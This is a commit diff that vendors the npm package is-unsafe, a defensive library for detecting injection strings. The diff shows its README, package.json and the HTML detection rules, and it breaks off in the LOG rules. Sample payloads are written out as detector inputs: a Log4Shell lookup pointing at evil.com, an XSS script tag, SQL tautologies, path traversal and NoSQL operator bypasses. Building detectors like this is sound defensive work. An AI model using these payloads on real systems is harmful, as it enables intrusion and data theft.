提交依赖与构建产物
This commit is contained in:
21
node_modules/is-unsafe/LICENSE
generated
vendored
Normal file
21
node_modules/is-unsafe/LICENSE
generated
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Natural Intelligence
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
528
node_modules/is-unsafe/README.md
generated
vendored
Normal file
528
node_modules/is-unsafe/README.md
generated
vendored
Normal file
@@ -0,0 +1,528 @@
|
||||
# `is-unsafe`
|
||||
|
||||
> Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
|
||||
|
||||
[](https://www.npmjs.com/package/is-unsafe)
|
||||
[](LICENSE)
|
||||
|
||||
---
|
||||
|
||||
## Why `is-unsafe`?
|
||||
|
||||
Sanitizer libraries like [DOMPurify](https://github.com/cure53/DOMPurify) require a DOM. They cannot run inside XML parsers, template engines, or server-side pipelines that process strings before they ever reach a browser.
|
||||
|
||||
`is-unsafe` fills that gap. It is a **pure predicate** — it answers one question:
|
||||
|
||||
> *Is this string value unsafe in a given context?*
|
||||
|
||||
It never mutates strings. It never touches the DOM. It has zero runtime dependencies.
|
||||
|
||||
### Motivating use case: `@nodable/entities` / `fast-xml-parser`
|
||||
|
||||
DOCTYPE blocks can define custom entities with arbitrary values:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE urlset [
|
||||
<!ENTITY xss '</script><script>alert(document.domain)</script><x y="'>
|
||||
]>
|
||||
<urlset>
|
||||
<url><loc>https://example.com/&xss;</loc></url>
|
||||
</urlset>
|
||||
```
|
||||
|
||||
When `@nodable/entities` resolves `&xss;`, it produces a raw string containing `</script><script>alert(...)`. Whether that string is dangerous depends on where it ends up. `is-unsafe` answers that question — without a DOM.
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
|
||||
```sh
|
||||
npm install is-unsafe
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick start
|
||||
|
||||
```js
|
||||
import { isUnsafe } from 'is-unsafe';
|
||||
|
||||
isUnsafe('<script>alert(1)</script>', 'HTML') // → true
|
||||
isUnsafe('New York, NY', 'HTML') // → false
|
||||
|
||||
isUnsafe("' OR 1=1--", 'SQL') // → true
|
||||
isUnsafe('../etc/passwd', 'SHELL') // → true
|
||||
isUnsafe('(a+)+', 'REDOS') // → true (ReDoS risk)
|
||||
isUnsafe('{"$ne": null}', 'NOSQL') // → true
|
||||
isUnsafe('${jndi:ldap://evil.com}', 'LOG') // → true (Log4Shell)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## API
|
||||
|
||||
### `isUnsafe(value, context)` → `boolean`
|
||||
|
||||
Returns `true` if `value` is unsafe in the given context, `false` otherwise.
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `value` | `string` | The string to test. Throws `TypeError` if not a string. |
|
||||
| `context` | `string \| string[] \| RegExp` | Context name, array of context names, or a custom `RegExp`. |
|
||||
|
||||
```js
|
||||
// Single context
|
||||
isUnsafe(value, 'HTML')
|
||||
|
||||
// Multiple contexts — true if unsafe in ANY of them
|
||||
isUnsafe(value, ['HTML', 'XML'])
|
||||
|
||||
// Custom RegExp — true if pattern matches
|
||||
isUnsafe(value, /my-pattern/i)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `whyUnsafe(value, context)` → `MatchResult | null`
|
||||
|
||||
Like `isUnsafe`, but returns a `MatchResult` object describing the **first** matching rule, or `null` if the value is safe. Useful for logging and error messages.
|
||||
|
||||
```js
|
||||
import { whyUnsafe } from 'is-unsafe';
|
||||
|
||||
const result = whyUnsafe('<script>alert(1)</script>', 'HTML');
|
||||
// {
|
||||
// context: 'HTML',
|
||||
// id: 'html-script-open',
|
||||
// description: '<script opening tag',
|
||||
// pattern: /<script[\s>/]/i
|
||||
// }
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `allUnsafe(value, context)` → `MatchResult[]`
|
||||
|
||||
Returns **all** matching rules across the given context(s), or an empty array if safe. Useful for comprehensive audits.
|
||||
|
||||
```js
|
||||
import { allUnsafe } from 'is-unsafe';
|
||||
|
||||
const findings = allUnsafe('<script onload="x"></script>', 'HTML');
|
||||
// [
|
||||
// { context: 'HTML', id: 'html-script-open', ... },
|
||||
// { context: 'HTML', id: 'html-script-close', ... },
|
||||
// { context: 'HTML', id: 'html-inline-event-handler', ... }
|
||||
// ]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `VALID_CONTEXTS`
|
||||
|
||||
Exported array of all built-in context names.
|
||||
|
||||
```js
|
||||
import { VALID_CONTEXTS } from 'is-unsafe';
|
||||
// {
|
||||
// readonly HTML: "HTML";
|
||||
// readonly XML: "XML";
|
||||
// readonly SVG: "SVG";
|
||||
// readonly SQL: "SQL";
|
||||
// readonly "SQL-STRICT": "SQL-STRICT";
|
||||
// readonly SHELL: "SHELL";
|
||||
// readonly REDOS: "REDOS";
|
||||
// readonly NOSQL: "NOSQL";
|
||||
// readonly LOG: "LOG";
|
||||
// }
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Contexts
|
||||
|
||||
### `'HTML'`
|
||||
|
||||
XSS vectors when a string is rendered as HTML:
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `html-script-open` | `<script` opening tag |
|
||||
| `html-script-close` | `</script>` closing tag |
|
||||
| `html-javascript-protocol` | `javascript:` URI (with whitespace obfuscation) |
|
||||
| `html-vbscript-protocol` | `vbscript:` URI |
|
||||
| `html-data-html` | `data:text/html` URI |
|
||||
| `html-data-xhtml` | `data:application/xhtml+xml` URI |
|
||||
| `html-data-svg` | `data:image/svg+xml` URI |
|
||||
| `html-inline-event-handler` | `onclick=`, `onerror=`, `onload=`, etc. |
|
||||
| `html-entity-obfuscated-script` | `<script`, `<script`, `<script` |
|
||||
| `html-entity-obfuscated-javascript` | Hex/decimal entity encoding of `javascript:` |
|
||||
| `html-style-expression` | CSS `expression()` — IE code execution |
|
||||
| `html-object-embed` | `<object>` and `<embed>` tags |
|
||||
| `html-base-tag` | `<base href=` — relative URL hijacking |
|
||||
| `html-meta-refresh` | `<meta http-equiv="refresh"` |
|
||||
| `html-srcdoc` | `srcdoc=` attribute on iframes |
|
||||
| `html-iframe` | `<iframe` tag |
|
||||
| `html-form` | `<form` tag — phishing injection |
|
||||
|
||||
---
|
||||
|
||||
### `'XML'`
|
||||
|
||||
Parser-level attacks in XML documents (distinct from HTML XSS):
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `xml-cdata-injection` | `<![CDATA[` injection |
|
||||
| `xml-cdata-close` | `]]>` — closes an enclosing CDATA section |
|
||||
| `xml-processing-instruction` | `<?xml-stylesheet`, `<?php`, `<?asp` |
|
||||
| `xml-doctype-injection` | `<!DOCTYPE` embedded in content |
|
||||
| `xml-entity-system` | `SYSTEM "..."` — XXE external entity |
|
||||
| `xml-entity-public` | `PUBLIC "..."` — XXE external entity |
|
||||
| `xml-entity-declaration` | `<!ENTITY` declaration |
|
||||
| `xml-billion-laughs` | Repeated entity refs `&e1;&e2;&e3;` — expansion attack |
|
||||
| `xml-namespace-confusion` | `xmlns=` attribute injection |
|
||||
| `xml-comment-injection` | `<!--` comment open |
|
||||
| `xml-comment-close` | `-->` comment close |
|
||||
| `xml-pi-close` | `?>` processing instruction close |
|
||||
|
||||
---
|
||||
|
||||
### `'SVG'`
|
||||
|
||||
SVG-specific XSS vectors that bypass HTML-only sanitizers (including documented DOMPurify bypass patterns):
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `svg-script-element` | `<script` inside SVG |
|
||||
| `svg-xlink-href-javascript` | `xlink:href="javascript:..."` |
|
||||
| `svg-href-javascript` | `href="javascript:..."` |
|
||||
| `svg-foreignobject` | `<foreignObject>` — embeds HTML inside SVG |
|
||||
| `svg-use-external` | `<use href=` pointing to external URL |
|
||||
| `svg-animate-href` | `<animate attributeName="href"` — dynamic href injection |
|
||||
| `svg-animate-xlinkhref` | `<animate attributeName="xlink:href"` |
|
||||
| `svg-set-javascript` | `<set to="javascript:..."` |
|
||||
| `svg-event-handler` | SVG event handlers (`onload=`, `onactivate=`, `onbegin=`, etc.) |
|
||||
| `svg-filter-feimage` | `<feImage href=` — external resource load |
|
||||
| `svg-image-external` | `<image xlink:href=` with http/javascript URL |
|
||||
| `svg-style-javascript` | `style=` containing `javascript:` |
|
||||
|
||||
---
|
||||
|
||||
### `'SQL'` and `'SQL-STRICT'`
|
||||
|
||||
Two tiers of SQL injection detection, chosen based on what kind of input you're validating.
|
||||
|
||||
**Use `'SQL'`** for general user-facing fields (names, descriptions, search queries). Its 15 rules are high-precision with very low false-positive risk.
|
||||
|
||||
**Use `'SQL-STRICT'`** when the input is specifically a SQL fragment or database identifier — it includes all `SQL` rules plus three additional rules that would produce false positives on general text:
|
||||
|
||||
| Extra rule in SQL-STRICT | Why it's noisy on general text |
|
||||
|--------------------------|-------------------------------|
|
||||
| `sql-line-comment` (`--`) | Fires on `"see note -- above"`, CSS `var(--primary)` |
|
||||
| `sql-stacked-query` (`;SELECT`) | Semicolons are normal punctuation |
|
||||
| `sql-hex-encoding` (`0xDEAD`) | Hex values appear in technical docs and logs |
|
||||
|
||||
**Base `SQL` rules (present in both):**
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `sql-block-comment-open` | `/*` block comment |
|
||||
| `sql-union-select` | `UNION SELECT`, `UNION ALL SELECT` |
|
||||
| `sql-drop-table` | `DROP TABLE` |
|
||||
| `sql-drop-database` | `DROP DATABASE` |
|
||||
| `sql-insert-into` | `INSERT INTO` |
|
||||
| `sql-delete-from` | `DELETE FROM` |
|
||||
| `sql-update-set` | `UPDATE ... SET` |
|
||||
| `sql-exec-xp` | `EXEC xp_` — MSSQL extended stored procedures |
|
||||
| `sql-tautology-string` | `' OR '1'='1` string tautologies |
|
||||
| `sql-tautology-numeric` | `OR 1=1` numeric tautology |
|
||||
| `sql-always-true-zero` | `OR 0=0` numeric tautology |
|
||||
| `sql-sleep-benchmark` | `SLEEP()`, `BENCHMARK()` — time-based blind injection |
|
||||
| `sql-waitfor-delay` | `WAITFOR DELAY` — MSSQL time-based blind |
|
||||
| `sql-char-function` | `CHAR(65)` — character obfuscation |
|
||||
| `sql-information-schema` | `INFORMATION_SCHEMA` — reconnaissance |
|
||||
|
||||
---
|
||||
|
||||
### `'SHELL'`
|
||||
|
||||
Shell injection and path traversal:
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `shell-path-traversal-unix` | `../` directory traversal |
|
||||
| `shell-path-traversal-windows` | `..\` Windows traversal |
|
||||
| `shell-path-traversal-encoded` | `%2e%2e` URL-encoded traversal |
|
||||
| `shell-null-byte` | `\x00` or `%00` null byte injection |
|
||||
| `shell-semicolon` | `;` command separator |
|
||||
| `shell-pipe` | `\|` pipe operator |
|
||||
| `shell-and-operator` | `&&` AND operator |
|
||||
| `shell-or-operator` | `\|\|` OR operator |
|
||||
| `shell-backtick` | `` ` `` backtick substitution |
|
||||
| `shell-dollar-paren` | `$(cmd)` command substitution |
|
||||
| `shell-dollar-brace` | `${var}` variable expansion |
|
||||
| `shell-redirect-out` | `>` or `>>` output redirection |
|
||||
| `shell-redirect-in` | `<` input redirection |
|
||||
| `shell-newline-injection` | `\n` or `\r` newline injection |
|
||||
| `shell-glob-star` | `/*` or `\*` glob after path separator |
|
||||
| `shell-absolute-root` | Strings starting with `/` or `\\` (UNC) |
|
||||
| `shell-windows-drive` | `C:\` or `D:/` Windows drive paths |
|
||||
| `shell-curl-wget` | `curl https://...` or `wget -` with URL or flags |
|
||||
|
||||
> **Note:** The `SHELL` context is intentionally broad. Characters like `;`, `|`, and `<` appear in many safe strings, so apply this context only to values destined for shell execution or filesystem operations, not to general text.
|
||||
|
||||
---
|
||||
|
||||
### `'REDOS'`
|
||||
|
||||
Strings that would cause catastrophic backtracking if compiled as a `RegExp`:
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `redos-nested-quantifier-plus` | `(a+)+`, `(.+b)*` — nested `+` in group with outer quantifier |
|
||||
| `redos-nested-quantifier-star` | `(a*)*` — nested `*` in group with outer quantifier |
|
||||
| `redos-nested-groups` | `((a+)+)` — doubly nested quantified groups |
|
||||
| `redos-alternation-overlap` | `(a\|a)+` — repeated identical alternatives |
|
||||
| `redos-star-plus-concat` | `(a*a)+` — star-concat pattern |
|
||||
| `redos-dot-star-greedy` | `(.*){n}` — repeated greedy dot |
|
||||
| `redos-large-repetition` | `{1000,}` or `{5000,10000}` — extremely large repetition counts |
|
||||
| `redos-catastrophic-alternation` | 10+ pipe alternatives in one group |
|
||||
|
||||
---
|
||||
|
||||
### `'NOSQL'`
|
||||
|
||||
MongoDB query operator injection and prototype pollution:
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `nosql-where-operator` | `$where:` — executes arbitrary JavaScript server-side |
|
||||
| `nosql-ne-operator` | `$ne:` — not-equal authentication bypass |
|
||||
| `nosql-gt-operator` | `$gt:` / `$gte:` — greater-than bypass |
|
||||
| `nosql-lt-operator` | `$lt:` / `$lte:` — less-than bypass |
|
||||
| `nosql-regex-operator` | `$regex:` — blind character-by-character extraction |
|
||||
| `nosql-or-operator` | `$or: [` — always-true condition injection |
|
||||
| `nosql-and-operator` | `$and: [` — logical AND injection |
|
||||
| `nosql-nor-operator` | `$nor: [` — logical NOR injection |
|
||||
| `nosql-exists-operator` | `$exists:` — field enumeration |
|
||||
| `nosql-in-operator` | `$in: [` — value enumeration |
|
||||
| `nosql-expr-operator` | `$expr:` — aggregation expression injection |
|
||||
| `nosql-function-operator` | `$function:` — arbitrary JavaScript (MongoDB 4.4+) |
|
||||
| `nosql-accumulator-operator` | `$accumulator:` — custom JS aggregation |
|
||||
| `nosql-proto-pollution` | `__proto__` — prototype pollution |
|
||||
| `nosql-constructor-prototype` | `constructor.prototype` or JSON key adjacency |
|
||||
| `nosql-proto-bracket` | `["__proto__"]` — bracket-notation prototype pollution |
|
||||
|
||||
Patterns handle both bare form (`$ne: null`) and JSON key form (`{"$ne": null}`) by allowing an optional closing quote between the operator name and the colon.
|
||||
|
||||
---
|
||||
|
||||
### `'LOG'`
|
||||
|
||||
Injection vectors dangerous when a string is written to a log file or passed to a logging framework:
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `log-crlf-injection` | Literal `\r` or `\n` — fake log line injection |
|
||||
| `log-url-encoded-crlf` | `%0d`, `%0a`, `%0D`, `%0A` — URL-encoded newlines |
|
||||
| `log-unicode-newline` | U+2028, U+2029 — Unicode line/paragraph separators |
|
||||
| `log-log4shell-jndi` | `${jndi:...}` — Log4Shell RCE (CVE-2021-44228) |
|
||||
| `log-log4shell-obfuscated` | `${::-` — Log4j WAF-bypass prefix |
|
||||
| `log-log4j-lookup` | `${env:}`, `${sys:}`, `${ctx:}` — data exfiltration lookups |
|
||||
| `log-ssti-double-brace` | `{{expression}}` — Jinja2, Twig, Handlebars SSTI |
|
||||
| `log-ssti-hash-brace` | `#{expression}` — Thymeleaf, Velocity, ERB SSTI |
|
||||
| `log-ssti-dollar-brace` | `${expr.method()}` — JSP EL, Freemarker, SpEL SSTI |
|
||||
| `log-ssti-percent-tag` | `<%= expression %>` — Ruby ERB, ASP |
|
||||
| `log-null-byte` | `\x00` or `%00` — truncates log entries |
|
||||
| `log-ansi-escape` | `ESC[` — ANSI escape sequences that manipulate terminal output |
|
||||
|
||||
> **Note:** The `log-crlf-injection` rule flags literal newline characters (`\n`, `\r`). Apply `LOG` only to single-line log field values (usernames, IDs, request parameters), not to multi-line content.
|
||||
|
||||
---
|
||||
|
||||
## Integration examples
|
||||
|
||||
### `@nodable/entities` — `postCheck` callback
|
||||
|
||||
```js
|
||||
import { isUnsafe } from 'is-unsafe';
|
||||
import { EntityDecoder, ALL_ENTITIES } from '@nodable/entities';
|
||||
|
||||
const dec = new EntityDecoder({
|
||||
namedEntities: ALL_ENTITIES,
|
||||
postCheck: (resolved, original) => {
|
||||
if (isUnsafe(resolved, 'HTML')) {
|
||||
return original; // keep literal &entity; reference
|
||||
// or: throw new Error(`Unsafe entity blocked: ${original}`);
|
||||
// or: return '[BLOCKED]';
|
||||
}
|
||||
return resolved;
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
### Logging with `whyUnsafe`
|
||||
|
||||
```js
|
||||
import { isUnsafe, whyUnsafe } from 'is-unsafe';
|
||||
|
||||
function safeInsert(value, context) {
|
||||
if (isUnsafe(value, context)) {
|
||||
const reason = whyUnsafe(value, context);
|
||||
logger.warn('Blocked unsafe value', { ruleId: reason.id, context });
|
||||
throw new Error(`Unsafe value rejected (${reason.id})`);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
```
|
||||
|
||||
### Auditing with `allUnsafe`
|
||||
|
||||
```js
|
||||
import { allUnsafe } from 'is-unsafe';
|
||||
|
||||
const findings = allUnsafe(userInput, ['HTML', 'SQL', 'SHELL']);
|
||||
if (findings.length > 0) {
|
||||
auditLog.record({ input: userInput, findings: findings.map(f => f.id) });
|
||||
}
|
||||
```
|
||||
|
||||
### SQL vs SQL-STRICT — choosing the right tier
|
||||
|
||||
```js
|
||||
import { isUnsafe } from 'is-unsafe';
|
||||
|
||||
// General text field (name, description, comment) — use SQL
|
||||
function validateUserBio(bio) {
|
||||
if (isUnsafe(bio, 'SQL')) throw new Error('Invalid content');
|
||||
return bio;
|
||||
}
|
||||
|
||||
// Dedicated SQL identifier input (table name picker, column filter) — use SQL-STRICT
|
||||
function validateTableName(name) {
|
||||
if (isUnsafe(name, 'SQL-STRICT')) throw new Error('Invalid identifier');
|
||||
return name;
|
||||
}
|
||||
|
||||
validateUserBio("see note -- above"); // passes (-- alone is fine for general text)
|
||||
validateTableName("users -- comment"); // blocked by SQL-STRICT
|
||||
```
|
||||
|
||||
### File upload path guard
|
||||
|
||||
```js
|
||||
import { isUnsafe } from 'is-unsafe';
|
||||
|
||||
function validateUploadPath(filename) {
|
||||
if (isUnsafe(filename, 'SHELL')) throw new Error('Invalid filename');
|
||||
return filename;
|
||||
}
|
||||
|
||||
validateUploadPath('document.pdf'); // OK
|
||||
validateUploadPath('../../../etc/passwd'); // throws
|
||||
validateUploadPath('file.txt\x00.jpg'); // throws (null byte)
|
||||
```
|
||||
|
||||
### User-supplied regex guard
|
||||
|
||||
```js
|
||||
import { isUnsafe, whyUnsafe } from 'is-unsafe';
|
||||
|
||||
function compileUserRegex(pattern) {
|
||||
if (isUnsafe(pattern, 'REDOS')) {
|
||||
const detail = whyUnsafe(pattern, 'REDOS');
|
||||
throw new Error(`ReDoS risk in pattern (${detail.id})`);
|
||||
}
|
||||
return new RegExp(pattern);
|
||||
}
|
||||
|
||||
compileUserRegex('^[a-z]+$'); // OK
|
||||
compileUserRegex('(a+)+'); // throws — nested quantifier
|
||||
```
|
||||
|
||||
### MongoDB input guard
|
||||
|
||||
```js
|
||||
import { isUnsafe } from 'is-unsafe';
|
||||
|
||||
function safeMongoValue(value) {
|
||||
if (isUnsafe(value, 'NOSQL')) throw new Error('Unsafe MongoDB value');
|
||||
return value;
|
||||
}
|
||||
|
||||
safeMongoValue('alice'); // OK
|
||||
safeMongoValue('{"$ne": null}'); // throws — $ne bypass
|
||||
safeMongoValue('__proto__'); // throws — prototype pollution
|
||||
```
|
||||
|
||||
### Log field guard
|
||||
|
||||
```js
|
||||
import { isUnsafe } from 'is-unsafe';
|
||||
|
||||
function safeLogField(value) {
|
||||
if (isUnsafe(value, 'LOG')) throw new Error('Unsafe log value');
|
||||
return value;
|
||||
}
|
||||
|
||||
safeLogField('alice'); // OK
|
||||
safeLogField('${jndi:ldap://evil.com}'); // throws — Log4Shell
|
||||
safeLogField("value\nfake log entry"); // throws — CRLF injection
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Design principles
|
||||
|
||||
| Principle | Detail |
|
||||
|-----------|--------|
|
||||
| **Predicate only** | Returns `true`/`false`. Never mutates strings. |
|
||||
| **Zero dependencies** | No jsdom, no DOM, no framework coupling. |
|
||||
| **Context-aware** | "Unsafe" is not absolute — it depends on where the value will be used. |
|
||||
| **Caller decides action** | `is-unsafe` classifies. Escaping, throwing, or logging is the caller's responsibility. |
|
||||
| **ReDoS-safe** | All detection patterns use bounded quantifiers. The irony of a security package triggering its own vulnerability (as the `sql-injection` npm package does) is avoided by design. |
|
||||
| **False positives over false negatives** | In parser context, blocking a legitimate value is better than passing a malicious one. |
|
||||
|
||||
---
|
||||
|
||||
## What `is-unsafe` is NOT
|
||||
|
||||
- **Not a sanitizer** — it does not modify strings
|
||||
- **Not a middleware** — no Express/Koa coupling
|
||||
- **Not a firewall** — it does not block requests
|
||||
- **Not a complete security solution** — one layer of defence-in-depth
|
||||
|
||||
---
|
||||
|
||||
## Comparison with existing packages
|
||||
|
||||
| Package | Problem |
|
||||
|---------|---------|
|
||||
| `dompurify` | Requires DOM/jsdom. Sanitizer, not predicate. Has documented SVG/XML bypass vulnerabilities. |
|
||||
| `xss` | Sanitizer — rewrites the string. HTML-only. No predicate API. |
|
||||
| `xss-filters` | Explicitly documented as unable to be used inside `<svg>`, `<object>`, `<embed>`. |
|
||||
| `xss-checker` | 465 kB payload list, 6 years abandoned, 5 dependents. |
|
||||
| `is-sql-injection` | Philosophically closest, but v1.0.0 only, 8 years abandoned, 19 dependents. |
|
||||
| `sql-injection` | Express middleware. Has an active ReDoS CVE on its own detection patterns. |
|
||||
| **`is-unsafe`** | Actively maintained. DOM-free. Pure predicate. Covers HTML, XML, SVG, SQL (two tiers), SHELL, REDOS, NOSQL, and LOG as distinct contexts. |
|
||||
|
||||
The `SVG` context is the key differentiator for XSS — no existing package covers SVG-specific vectors (`xlink:href`, `foreignObject`, `animate`/`set` element attacks). The `XML` context covers parser-level attacks that DOMPurify has documented bypass vulnerabilities for. The `NOSQL` and `LOG` contexts (including Log4Shell) have no equivalent in any current predicate package.
|
||||
|
||||
---
|
||||
|
||||
## Running tests
|
||||
|
||||
```sh
|
||||
npm install
|
||||
npm test
|
||||
```
|
||||
|
||||
Tests use [Jasmine](https://jasmine.github.io/). Source in `src/`, specs in `specs/`.
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
MIT
|
||||
48
node_modules/is-unsafe/package.json
generated
vendored
Normal file
48
node_modules/is-unsafe/package.json
generated
vendored
Normal file
@@ -0,0 +1,48 @@
|
||||
{
|
||||
"name": "is-unsafe",
|
||||
"version": "1.0.1",
|
||||
"description": "Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts",
|
||||
"main": "src/index.js",
|
||||
"type": "module",
|
||||
"types": "./src/index.d.ts",
|
||||
"scripts": {
|
||||
"test": "jasmine **/*.spec.js",
|
||||
"test:watch": "nodemon --exec 'npm test' --watch src --watch specs"
|
||||
},
|
||||
"keywords": [
|
||||
"xss",
|
||||
"sql-injection",
|
||||
"security",
|
||||
"safe",
|
||||
"predicate",
|
||||
"sanitizer",
|
||||
"xml",
|
||||
"svg",
|
||||
"html",
|
||||
"shell-injection",
|
||||
"redos",
|
||||
"unsafe",
|
||||
"validator",
|
||||
"log",
|
||||
"nosql"
|
||||
],
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/NaturalIntelligence/is-unsafe"
|
||||
},
|
||||
"author": "Amit Gupta (https://solothought.work/)",
|
||||
"license": "MIT",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/NaturalIntelligence"
|
||||
}
|
||||
],
|
||||
"devDependencies": {
|
||||
"jasmine": "^5.1.0"
|
||||
},
|
||||
"files": [
|
||||
"src/",
|
||||
"README.md"
|
||||
]
|
||||
}
|
||||
102
node_modules/is-unsafe/src/contexts/html.js
generated
vendored
Normal file
102
node_modules/is-unsafe/src/contexts/html.js
generated
vendored
Normal file
@@ -0,0 +1,102 @@
|
||||
/**
|
||||
* HTML context patterns.
|
||||
*
|
||||
* Detects XSS vectors that are dangerous when a string ends up rendered as HTML.
|
||||
* All patterns use bounded quantifiers to ensure linear-time matching (ReDoS-safe).
|
||||
*
|
||||
* Each entry is { pattern: RegExp, id: string, description: string }
|
||||
* so callers can inspect which rule fired if they need to.
|
||||
*/
|
||||
|
||||
const HTML_PATTERNS = [
|
||||
{
|
||||
id: 'html-script-open',
|
||||
description: '<script opening tag',
|
||||
pattern: /<script[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-script-close',
|
||||
description: '</script closing tag',
|
||||
pattern: /<\/script[\s>]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-javascript-protocol',
|
||||
description: 'javascript: URI scheme (with optional whitespace/encoding)',
|
||||
// Handles javascript:, j\u0061vascript:, and whitespace variants
|
||||
pattern: /j[\t\n\r ]*a[\t\n\r ]*v[\t\n\r ]*a[\t\n\r ]*s[\t\n\r ]*c[\t\n\r ]*r[\t\n\r ]*i[\t\n\r ]*p[\t\n\r ]*t[\t\n\r ]*:/i,
|
||||
},
|
||||
{
|
||||
id: 'html-vbscript-protocol',
|
||||
description: 'vbscript: URI scheme',
|
||||
pattern: /vbscript[\t\n\r ]*:/i,
|
||||
},
|
||||
{
|
||||
id: 'html-data-html',
|
||||
description: 'data:text/html URI — can execute scripts in browsers',
|
||||
pattern: /data[\t\n\r ]*:[\t\n\r ]*text\/html/i,
|
||||
},
|
||||
{
|
||||
id: 'html-data-xhtml',
|
||||
description: 'data:application/xhtml+xml URI',
|
||||
pattern: /data[\t\n\r ]*:[\t\n\r ]*application\/xhtml/i,
|
||||
},
|
||||
{
|
||||
id: 'html-data-svg',
|
||||
description: 'data:image/svg+xml URI — can execute scripts',
|
||||
pattern: /data[\t\n\r ]*:[\t\n\r ]*image\/svg\+xml/i,
|
||||
},
|
||||
{
|
||||
id: 'html-inline-event-handler',
|
||||
description: 'Inline event handler attributes: onclick=, onerror=, onload=, etc.',
|
||||
// \bon ensures we match a word boundary so "phonetic=" is not caught
|
||||
pattern: /\bon\w{1,30}\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'html-entity-obfuscated-script',
|
||||
description: 'HTML-entity-encoded <script (e.g. <script or <script)',
|
||||
// Entities include optional trailing semicolon: < or < (both valid in HTML5)
|
||||
pattern: /(?:�*3[Cc];?|�*60;?|<)\s*script/i,
|
||||
},
|
||||
{
|
||||
id: 'html-entity-obfuscated-javascript',
|
||||
description: 'HTML-entity-encoded javascript: (partial — catches common j or j for "j")',
|
||||
pattern: /(?:�*6[Aa];?|�*106;?)\s*(?:�*61;?|a)[\s\S]{0,80}script\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'html-style-expression',
|
||||
description: 'CSS expression() — IE-era code execution in style attributes',
|
||||
pattern: /style[\s\S]{0,20}expression\s*\(/i,
|
||||
},
|
||||
{
|
||||
id: 'html-object-embed',
|
||||
description: '<object or <embed tags that can load active content',
|
||||
pattern: /<(?:object|embed)[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-base-tag',
|
||||
description: '<base href= — can hijack all relative URLs on a page',
|
||||
pattern: /<base[\s>]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-meta-refresh',
|
||||
description: '<meta http-equiv="refresh" — can redirect users',
|
||||
pattern: /<meta[\s\S]{0,40}http-equiv[\s\S]{0,20}refresh/i,
|
||||
},
|
||||
{
|
||||
id: 'html-srcdoc',
|
||||
description: 'srcdoc= attribute on iframes — embeds HTML that can run scripts',
|
||||
pattern: /srcdoc\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'html-iframe',
|
||||
description: '<iframe tag',
|
||||
pattern: /<iframe[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'html-form',
|
||||
description: '<form tag — can be used for phishing / credential harvesting injection',
|
||||
pattern: /<form[\s>/]/i,
|
||||
},
|
||||
];
|
||||
|
||||
export default HTML_PATTERNS;
|
||||
98
node_modules/is-unsafe/src/contexts/log.js
generated
vendored
Normal file
98
node_modules/is-unsafe/src/contexts/log.js
generated
vendored
Normal file
@@ -0,0 +1,98 @@
|
||||
/**
|
||||
* LOG context patterns.
|
||||
*
|
||||
* Detects injection vectors that are dangerous when a string is written
|
||||
* to a log file, passed to a logging framework, or interpolated into
|
||||
* a log message that will be parsed or displayed.
|
||||
*
|
||||
* Attack categories:
|
||||
